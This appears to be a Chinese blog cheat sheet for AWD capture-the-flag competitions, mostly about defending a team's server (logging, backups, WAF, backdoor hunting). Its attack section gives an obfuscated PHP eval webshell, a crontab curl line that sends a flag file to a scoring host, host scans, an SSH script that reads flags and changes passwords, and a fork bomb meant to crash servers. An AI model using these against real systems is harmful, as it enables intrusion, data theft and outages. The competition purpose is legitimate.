AWD 总结&分析

AWD 总结&分析

一:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

二:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

三:拿flag方式

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

四.防御

1.流量

sudo tcpdump -s 0 -w flow.pcap port 80

2.日志分析

日志地址

/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源码&备份数据库

# 打包目录

tar -zcvf archive_name.tar.gz directory_to_compress

# 解包

tar -zxvf archive_name.tar.gz
# 备份指定的多个数据库


mysqldump -u root -p --databases choose test > /tmp/db.sql


# 恢复备份,在mysql终端下执行:


# 命令格式:source FILE_PATH


source ~/db.sql


# 曾经遇到一个备份有问题可以执行下面


mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql


# 重置mysql密码


# 方法1:用SET PASSWORD命令  


mysql> set password for 用户名@localhost = password('新密码');


# 方法2:用mysqladmin 


mysqladmin -u用户名 -p旧密码 password 新密码

4.重置ssh密码

登陆后一个passwd就可以
但其实还是有脚本的
比如批量改默认密码

#!/usr/bin/python
#-*-coding:utf-8-*-
import paramiko
import socket


def userssh_changepwd(ip,user,old_password,new_password):
    # 建立一个sshclient对象
    ssh = paramiko.SSHClient()
    # 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(hostname=ip, port=22, username=user, password=old_password,timeout=5)
        stdin, stdout, stderr = ssh.exec_command("ls ~")
        s=str(stdout.read(),'utf-8')
        for i in s.split('\n'):
            if("flag" in i):
                command1="cat ~/%s" %(i.strip())
                stdin, stdout, stderr = ssh.exec_command(command1)
                flag=str(stdout.read(),'utf-8')
                print("%s-%s" %(ip,flag.strip()))
        command = "passwd %s\n" %(user)
        stdin, stdout, stderr = ssh.exec_command(command)
        #\n模拟回车 输两次密码
        stdin.write(old_password+'\n'+ new_password + '\n' + new_password + '\n')
        out, err = stdout.read(), stderr.read()
        #print(out)
        successful = 'password updated successfully'
        #print(out,err)
        if successful in str(err):
            print(ip + " 密码修改成功!")
        else:
            print('\033[31m错误:\033[0m' + str(err))
            print(ip + " 密码修改失败!")
        # 关闭连接
        ssh.close()
    except paramiko.ssh_exception.AuthenticationException as e:
        print(ip + ' ' + '\033[31m账号密码错误!\033[0m')
        with open('nossh.txt','a') as f:
            f.write(ip + '\n')
    except socket.timeout as e:
        print(ip + ' ' + '\033[31m连接超时!\033[0m')
        with open('timeoutssh','a') as f:
            f.write(ip + '\n')

user="bee"
old_passwd="xbwkaliwin2003"
new_passwd="xbwkaliwin2008"
with open('ip.txt','r') as f:
    for i in f.readlines():
        host=i.strip()
        userssh_changepwd(host, user, old_passwd, new_passwd)

5.部署waf

whatchwaf
说明:

  • 下载最新release

  • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中

  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径

  • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码

  • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
    ps:由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

    ps:php7应该不支持,不要放到root目录下(awd模式下也不会有root权限)要放在对应网页权限的目录下(默认网页权限是www-data)比如/var/www/目录

6.查找后门

find . -name '*.php' | xargs grep -n 'eval('

find . -name '*.php' | xargs grep -n 'assert('

find . -name '*.php' | xargs grep -n 'system('

7.查找关键文件

#备份文件
find / -name "*.bak"
#config文件
find / -name "config.*"

8.干掉不死马

(1).ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文件夹。

五.攻击

1.crontab自动提交flag到平台

*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'

记得改token和目录
crontab路径
/var/spool/cron

2.扫描主机

# masscan


masscan -p 80 172.16.0.0/24


# nmap


nmap –sn 172.16.0.0/24

3.混淆过的一句话

<?php  $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=`
连接密码:0(零)

5.查看出题者后来改动的地方(一般漏洞是改出来的)

ls -t按修改时间来看最新被修改的文件

4.fork炸弹(直接摧毁服务器)

:() { :|: & };:

------------恢复内容结束------------

posted @ 2021-07-02 01:35  MuRKuo  阅读(1418)  评论(0编辑  收藏  举报